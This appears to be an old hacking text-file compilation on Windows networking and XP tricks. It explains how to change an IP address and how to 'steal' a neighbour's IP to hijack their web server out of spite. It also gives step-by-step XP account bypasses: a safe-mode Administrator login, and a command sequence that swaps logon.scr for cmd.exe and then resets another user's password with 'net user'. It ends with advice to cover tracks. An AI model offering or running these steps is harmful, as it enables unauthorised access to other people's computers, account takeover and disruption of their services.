1. Getting your IP range – Getting information about your IP range is not difficult, I recommend using Neo Trace on your own IP. But for my test just look at your IP address, say it’s 24.193.110.13 you can definitely use the IP’s found between 24.193.110.1 < [new IP] < 24.193.110.255, don’t use x.x.x.1 or x.x.x.255. To find your IP simply open a dos/command prompt window and type ipconfig at the prompt, look for “IP Address. . . . . . . . . . . . : x.x.x.x”.

2. Subnet Mask, Default Gateway, DHCP Server – These are very easy to find, just open a dos/command prompt window and type ‘ipconfig /all’ without the ‘ ‘. You should see something like this:
Windows IP Configuration:

Host Name . . . . . . . . . . . . . . : My Computer Name Here
Primary Dns Suffix . . . . . . . . . :
Node Type . . . . . . . . . . . . . . .: Unknown
IP Routing Enabled. . . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . . . . . . .: xxxx.xx.x
Description . . . . . . . . . . . . . . . . . . . . : NETGEAR FA310TX Fast Ethernet Adapter (NGRPCI)
Physical Address. . . . . . . . . . . . . . . . . : XX-XX-XX-XX-XX-XX
Dhcp Enabled. . . . . . . . . . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . . . . . . : Yes
IP Address. . . . . . . . . . . . . . . . . . . . . : 24.xxx.xxx.xx
Subnet Mask . . . . . . . . . . . . . . . . . . . .: 255.255.240.0
Default Gateway . . . . . . . . . . . . . . . . . : 24.xxx.xxx.x
DHCP Server . . . . . . . . . . . . . . . . . . . .: 24.xx.xxx.xx
DNS Servers . . . . . . . . . . . . . . . . . . . . : 24.xx.xxx.xxx
24.xx.xxx.xx
24.xx.xxx.xxx
Lease Obtained. . . . . . . . . . . . . . . . . . .:Monday, January 20, 2003 4:44:08 PM
Lease Expires . . . . . . . . . . . . . . . . . . . .:Tuesday, January 21, 2003 3:43:16 AM

This is all the information you will need for now, I suggest you either keep your dos/command prompt window open or copy & paste the information somewhere, to copy right click the window and select text and click once.

III. Changing your IP Address

To change your IP address first pick any IP you like out of your IP range and remember it or write it down. It is usualy a good idea to make sure the IP is dead (except for what we are going to do later on) so just ping it via “ping x.x.x.x” and if it times out then you can use it. Now go to My Computer, then Control Panel. In Control Panel select Network Connections and pick your active connection, probably Local Area Connection or your ISP name. Open that connection by double clicking on the icon in Network Connections, then select Properties under the General Tab. In the new window that pops up select Internet Protocol (TCP/IP) and click properties, it’s under the general tab. In this new window select the General tab and choose “Use the following IP address” and for the IP address enter the IP you would like to use (the one you picked from your subnet earlier) and for the Subnet Mask enter the subnet mask you got when your ran ipconfig /all, same goes for the Default Gateway. Now select “Use the following DNS server addresses” and enter the information you got earlier. Now just click OK. Test that it worked, try to refresh a website and if it works you know everything is okay and you are connected. To make sure the change worked type ipconfig again and the IP address should have changed to your new one.

IV. DDoS & DoS Protection

If your firewall shows that you are being DDoSed, this is usually when you are constantly getting attempted UDP connections several times a second from either the same IP address or multiple IP addresses (DDoS), you can protect your self by changing your IP address via the method I described above.

V. Web servers & Other Services

If you know someone on your IP range is running a web server and he or she has pissed you off or you just like messing around you can “steal” their IP address so any DNS going to that IP will show your site instead because you would be running a web server yourself.

To “steal” an IP is to basically use the changing IP address method above and picking an IP that someone that is running a web server has in use. Often you will be able to keep that IP at least for some time, other times you wont be able to use it so just keep trying until it works. You your self will need to have a web server on the same port with your message. You can do this with other services too. You can also DoS or DDoS the IP address you are trying to steal to kick him off the net, but I don’t recommend as its pretty illegal, an your ISP will get pissed

What is a Proxy Server?
A proxy server is a kind of buffer between your computer and the Internet resources you are accessing. The data you request come to the proxy first, and only then it transmits the data to you. I know many are looking for IP Maskers or Scramblers, but honestly, it aint real easy for the simple fact that any website that you visit needs your IP to send the info packets too. If its scrambled, you will get alot of errors and crazy redirects My solution? Read on……….. for a good list of Proxy servers try here>> http://www.multiproxy.org/

Why do I need to use proxy servers?
Transfer speed improvement. Proxy servers accumulate and save files that are most often requested by thousands of Internet users in a special database, called “cache”. Therefore, proxy servers are able to increase the speed of your connection to the Internet. The cache of a proxy server may already contain information you need by the time of your request, making it possible for the proxy to deliver it immediately.
Security and privacy. Anonymous proxy servers that hide your IP address thereby saving you from vulnerabilities concerned with it.
Sometimes you may encounter problems while accessing to web server when server administrator restricted access from your IP or even from wide IP range (for example restricting access from certain countries or geographical regions). So you try to access those pages using an anonymous proxy server.

What is a public proxy server?
It is a proxy server which is free and open for everybody on the Internet. Unfortunately most of them are not anonymous.
Free service trying to provide list of public HTTP proxy servers. Usually provide small list of proxies with low percent of functioning servers due to hosting restrictions on CPU time (they simply can’t allow themselves to check many proxies every second especially in parallel).

The Solution?
When using an anonymous proxy server you don’t give a anybody chance to find out your IP address to use it in their own interests. If there is a need to make an (inner) proxy connect to the outside world via another (outer) proxy server, you can use the same environment variables as are used to redirect clients to the proxy to make inner proxy use the outer one:
http_proxy
ftp_proxy
gopher_proxy
wais_proxy
E.g. your (inner) proxy server’s startup script could look like this:
#!/bin/sh
http_proxy=http://outer.proxy.server:8082/
export http_proxy
/usr/etc/httpd -r /etc/inner-proxy.conf -p 8081

This is a little ugly, so there are also the following directives in the configuration file:
http_proxy http://outer.proxy.server/
ftp_proxy http://outer.proxy.server/
gopher_proxy http://outer.proxy.server/
wais_proxy http://outer.proxy.server/

This hack will only work if the person that owns the machine
has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the
Administrator Account.

This has worked for me on both Windows XP Home and Pro.

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Now this one seems to be machine dependant, it works randomly(don’t know why)

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

(this appeared on www.astalavista.com a few days ago but i found that it wouldn’t work
on the welcome screen of a normal booted machine)

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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

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Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

“net user password”

If the Administrator Account is called Frank and you want the password blah enter this

“net user Frank blah”

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Any updates, Errors, Suggestions or just general comments mail them to either

Estyle89@hotmail.com
jaoibh@hotmail.com